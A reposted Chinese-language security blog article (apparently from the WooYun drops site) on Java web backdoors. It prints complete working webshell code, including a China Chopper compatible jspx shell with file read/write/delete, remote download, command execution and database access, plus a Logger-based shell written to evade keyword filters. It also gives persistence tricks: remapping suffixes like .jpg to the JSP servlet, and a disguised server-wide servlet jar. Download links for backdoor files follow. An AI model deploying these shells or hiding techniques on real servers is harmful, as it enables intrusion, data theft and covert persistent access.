<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/662

            0x00 背景


            關于JavaWeb后門問題一直以來都比較少,而比較新奇的后門更少。在這里我分享幾種比較有意思的JavaWeb后門給大家玩。

            0x01 jspx后門


            在如今的web應用當中如果想直接傳個jsp已經變得比較難了,但是如果只限制了asp、php、jsp、aspx等這些常見的后綴應該怎樣去突破呢?我在讀tomcat的配置文件的時候看到jsp和jspx都是由org.apache.jasper.servlet.JspServlet處理,于是想構建一個jspx的webshell。經過反復的折騰,一個jspx的后門就粗線了。測試應該是java的所有的server都默認支持。?

            Tomcat默認的conf/web.xml下的配置:?

               <servlet>
                    <servlet-name>jsp</servlet-name>
                    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
                    <init-param>
                        <param-name>fork</param-name>
                        <param-value>false</param-value>
                    </init-param>
                    <init-param>
                        <param-name>xpoweredBy</param-name>
                        <param-value>false</param-value>
                    </init-param>
                    <load-on-startup>3</load-on-startup>
                </servlet>
            
                <servlet-mapping>
                    <servlet-name>jsp</servlet-name>
                    <url-pattern>*.jsp</url-pattern>
                    <url-pattern>*.jspx</url-pattern>
                </servlet-mapping>
            

            關于jspx的資料網上并不多,官網給的文檔也不清楚,搞的模模糊糊的。怎么去玩jspx大家可以看下官網的demo,或者參考一些文章。

            http://jspx-bay.sourceforge.net

            ?關于jspx文件的一些說明:

            http://blog.sina.com.cn/s/blog_4b6de6bb0100089s.html

            ??重點在于把Jsp里面的一些標記轉換成xml支持的格式,比如:

            <%@ include .. %>??????????????????????<jsp:directive.include .. />
            ?<%@ page .. %>???????????????????????? <jsp:directive.page .. />
            <%@ taglib .. %>???????????????????????xmlns:prefix="tag library URL"
            <%= ..%>???????????????????????????????<jsp:expression> .. </jsp:expression>
            <% ..%>????????????????????????????????<jsp:scriptlet> .. </jsp:scriptlet>
            

            知道<% %>可以用<jsp:scriptlet></jsp:scriptlet>標記表示那么做起來就很簡單了,直接把標記換下是非常容易做的。所以寫個簡單的shell一個就很簡單了,但是如果想知道具體有那些標簽或者說跟jsp里面的有那些不同怎么辦呢?下面我簡單的做了下對比(前面是jsp的代碼提示,后面是jspx):

            enter image description here

            照著提示翻譯下得知表示jsp里面的<%! %>需要用:<jsp:declaration></jsp:declaration>標簽去替換就行了。?

            其他重要提醒:

            在jspx里面遵循xml語法所以直接在jsp:declaration或者jsp:scriptlet標簽內寫"<>"這樣的符號是不行的,需要轉意(不轉意會報編譯錯誤,猜了下只需要把<>轉成&lt;?? &gt;就行了)。?

            jspx后門的具體實現代碼:

                <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
                xmlns="http://www.w3.org/1999/xhtml"
                xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
                <jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
                <jsp:directive.page import="java.io.*" />
                <jsp:scriptlet>
                    RandomAccessFile rf = new RandomAccessFile(request.getRealPath("/")+request.getParameter("f"), "rw");
                    rf.write(request.getParameter("t").getBytes());
                    rf.close();
                </jsp:scriptlet>
            </jsp:root>
            

            jspx實現的我之前發的菜刀最終版:??

            http://localhost:8080/jspx.jspx? ? 直接用菜刀連接:

            enter image description here

            <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2"><jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /><jsp:directive.page import="java.io.*"/><jsp:directive.page import="java.util.*"/><jsp:directive.page import="java.net.*"/><jsp:directive.page import="java.sql.*"/><jsp:directive.page import="java.text.*"/><jsp:declaration>String Pwd="023";String cs="UTF-8";String EC(String s)throws Exception{return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if(x.length>4){c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i&lt;r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT,sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0; i&lt;l.length; i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ +=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0; k &lt; x.length; k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"&lt;-").getBytes(),0,3);os.close();is.close();}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0; i&lt;d.length();i+=2){os.write((h.indexOf(d.charAt(i)) &lt;&lt; 4 | h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0; j&lt;z.length; j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s,String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection) u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is,StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"\r\n");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] x=s.trim().split("\r\n");ResultSet r=c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null,"%",new String[]{"TABLE"});while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[x.length-1]);ResultSetMetaData d=r.getMetaData();for(int i=1;i&lt;=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb,String p)throws Exception{Connection c=GC(s);Statement m=c.createStatement(1005,1008);BufferedWriter bw=null;try{ResultSet r=m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(int i=1; i &lt;=n; i++){sb.append(d.getColumnName(i)+"\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file=new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:")+4,q.length()).trim()),true),cs));}while(r.next()){for(int i=1; i&lt;=n;i++){if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"\t");bw.flush();}else{sb.append(r.getObject(i)+""+"\t|\t");}}if(bw!=null){bw.newLine();}sb.append("\r\n");}r.close();if(bw!=null){bw.close();}}catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}</jsp:declaration><jsp:scriptlet>cs=request.getParameter("z0")!=null?request.getParameter("z0")+"":cs;response.setContentType("text/html");response.setCharacterEncoding(cs);StringBuffer sb=new StringBuffer("");try{String Z=EC(request.getParameter(Pwd)+"");String z1=EC(request.getParameter("z1")+"");String z2=EC(request.getParameter("z2")+"");sb.append("->"+"|");String s=request.getSession().getServletContext().getRealPath("/");if(Z.equals("A")){sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\","/")+"images/");}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"&lt;-");out.print(sb.toString());</jsp:scriptlet></jsp:root>
            

            0x02 Java Logger日志后門


            某些場景下shell可能被過濾掉了,但是利用一些有趣的東東可以繞過,比如不用new File這樣的方式去寫文件,甚至是盡可能的不要出現File關鍵字。

            看了下java.util.logging.Logger挺有意思的,可以寫日志文件,于是試了下用這樣的方式去寫一個shell,結果成功了。??

            java.util.logging.Logger默認輸出的格式是xml,但這都不是事,直接格式化下日志以text方式輸出就行了。??

            新建2.jsp并訪問:?

            <%java.util.logging.Logger l=java.util.logging.Logger.getLogger("t");java.util.logging.FileHandler h=new java.util.logging.FileHandler(pageContext.getServletContext().getRealPath("/")+request.getParameter("f"),true);h.setFormatter(new java.util.logging.SimpleFormatter());l.addHandler(h);l.info(request.getParameter("t"));%>
            

            enter image description here

            其他略特殊點的文件讀寫Demo:

            new FileOutputStream 
                      new FileOutputStream("d:/sb.txt").write(new String("123").getBytes()); 
                      new DataOutputStream 
                      new DataOutputStream(new FileOutputStream("d:/1x.txt")).write(new String("123").getBytes()); 
            FileWriter fw = new FileWriter("d:/3.txt"); 
                        fw.write("21"); 
                        fw.flush(); 
                        fw.close(); 
            RandomAccessFile rf = new RandomAccessFile("d:/14.txt", "rw"); 
                        rf.write(new String("3b").getBytes()); 
                        rf.close();
            

            GetShell.htm:?

            <html> 
            <head> 
            <meta http-equiv="content-type" content="text/html;charset=utf-8"> 
            <title>jsp-yzmm</title> 
            </head> 
            <style> 
            .main{width:980px;height:600px;margin:0 auto;} 
            .url{width:300px;} 
            .fn{width:80px;} 
            .content{width:80%;height:60%;} 
            </style> 
            <script> 
              function upload(){ 
                var url = document.getElementById('url').value, 
                  content = document.getElementById('content').value, 
                  fileName = document.getElementById('fn').value, 
                  form = document.getElementById('fm'); 
                if(url.length == 0){ 
                  alert("Url not allowd empty!"); 
                  return ; 
                } 
                if(content.length == 0){ 
                  alert("Content not allowd empty!"); 
                  return ; 
                } 
                if(fileName.length == 0){ 
                  alert("FileName not allowd empty!"); 
                  return ; 
                } 
                form.action = url; 
                form.submit(); 
              } 
            </script> 
            <body> 
            <div class="main"> 
              <form id="fm" method="post">   
                URL:<input type="text" value="http://localhost/Struts2/css3.jsp" class="url" id="url" />&nbsp;&nbsp; 
                FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" />&nbsp;&nbsp; 
                <a href="javascript:upload();">Upload</a><br/> 
                <textarea id="content" class="content" name="t" ></textarea> 
              </form> 
            </div> 
            </body> 
            </html>
            

            http://xsser.me/caidao/getshell-by-logger.jsp

            ?http://xsser.me/caidao/getshell-by-logger.txt

            0x03 jspf后門


            在Resin的配置文件conf/app-default.xml看到了幾個可以用jsp方式去解析的后綴,其中就包含了jspf和上面的jspx: ? enter image description here

            其中的resin-jsp和resin-jspx差不多,都是com.caucho.jsp.JspServlet處理,知識后者在init標簽中標明了是以xml方式解析:<xml>true</xml>

            百度了下此jspf非框架(Java Simple Plugin Framework),JSP最新的規范已經納入了jspf為JSP內容的文件。但是經過測試主流的JavaServer僅有resin和jetty支持,tomcat等server并不支持。不過在實際的生產環境上resin用的非常廣泛。至于jetty略少,不過貌似bae是用的jetty。

            直接把css.jsp文件改名為1.jspf請求即可看到成功調用菜刀接口: ? enter image description here

            0x04 邪惡后門第一式-惡意的任意后綴解析


            從Tomcat和Resin的配置當中可以看出來,其實腳本可以是任意后綴,只要在配置解析的地方修改下映射的后綴就行了。那么只要修改下配置文件中后綴映射為jsp對于的解析的servlet名字就可以輕松的留下一個“不同尋常”的后綴的后門了。我測試Tomcat6/8和Resin3發現:一個運行當中的server當修改他們的映射的文件后不需要重啟即可自動生效。也就是說可能一個網站存在跨目錄的文件編輯漏洞,只要找到對于的配置文件地址修改后就能訪問1.jpg去執行惡意的jsp腳本,這聽起來有點讓人不寒而栗。Getshell后只要把這配置文件一改丟個jpg就能做后門了。

            Tomcat修改conf/web.xml:

            ? enter image description here

            Resin修改conf/app-default.xml:

            ? enter image description here

            0x05 邪惡第二式-“變態的server永久后門”


            如果說修改某些不起眼的配置文件達到隱藏后門足夠有意思的話,那么直接把后門“藏到Server里面”可能更隱蔽。

            在之前攻擊Java系列教程中就已經比較詳細的解釋過Java的Server以及servlet和filter了。其實server啟動跟啟動一個app應用是非常相似的,我們需要做的僅僅是把servlet或者filter從應用層移動到server層,而且可以做到全局性。這種隱藏方法是極度殘暴的,但是缺點是需要重啟Server。假設在一臺Server上部署了N個應用,訪問任意一個應用都能獲取Webshell。http://ip/xxx就是后門了。沒明白?上demo。

            Tomcat5配置方式:

            apache-tomcat-5.5.27\conf\web.xml的session-config后面加上一個filter或者servlet即可全局過濾:

                <servlet>
                    <servlet-name>HttpServletWrapper</servlet-name>
                    <servlet-class>javax.servlet.web.http.HttpServletWrapper</servlet-class>
                </servlet>
            
                <servlet-mapping>
                    <servlet-name>HttpServletWrapper</servlet-name>
                    <url-pattern>/servlet/HttpServletWrapper</url-pattern>
                </servlet-mapping>
            

            url-pattern表示默認需要過濾的請求后綴。

            需要把jar復制到tomcat的lib目錄,項目啟動的時候會自動加載jar的filter或者filter。 ? enter image description here

            Resin配置需要修改E:\soft\resin-pro-3.1.13\conf\app-default.xml,在resin-xtp的servler后面加上對應的filter或者servlet并把E:\soft\resin-pro-3.1.13\lib放入后門的jar包: ? enter image description here

            Jetty配置,修改D:\Soft\Server\jetty-distribution-9.0.5.v20130815\etc\webdefault.xml文件,在default的servlet之前配置上面的filter和servler配置。

            Jar包:E:\soft\jetty-distribution-9.0.4.v20130625\lib

            其他的Server就不列舉了差不多。servlet和filter配置也都大同小異知道其中的一種就知道另一種怎么配置了。

            servlet-api-3.04.jar是我偽裝的一個后門, jar下載地址:http://pan.baidu.com/s/17mKbH

            對應的后門HttpServletWrapper.java下載地址:http://pan.baidu.com/s/1l8eiM

            0x06 其他后門


            1、javabean

            http://blogimg.chinaunix.net/blog/upfile2/090713181535.rar

            用法:把beans.jsp傳到網站根目錄,把beans.class傳到"\webapp\WEB-INF\classes\linx"目錄。

            再訪問

            http://xxxxxx.com/webapp/beans.jsp?c=ls

            2、servlet

            http://blogimg.chinaunix.net/blog/upfile2/090713181617.rar

            用法:把文件傳到"\webapp\WEB-INF\classes"目錄,訪問

            http://xxxxxx.com/webapp/servlet/servlets?c=ls

            如果無法打開,請參考

            http://blog.csdn.net/larmy888/archive/2006/03/02/613920.aspx

            3、編譯執行型后門

            上傳一個java文件編譯并執行,通過socket方式可做后門。一般來說Server的loader在啟動后不會再去加載新增的jar或者class文件,如果想自動加載新的class文件可能需要根據不同的Server去改配置。Tomcat下配置的時候經常有人會reloadable="true"這樣就有機會動態去加載class文件。可以根據Server去留一些有意思的后門。

            ?http://xsser.me/caidao/getshell-by-logger.txt

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线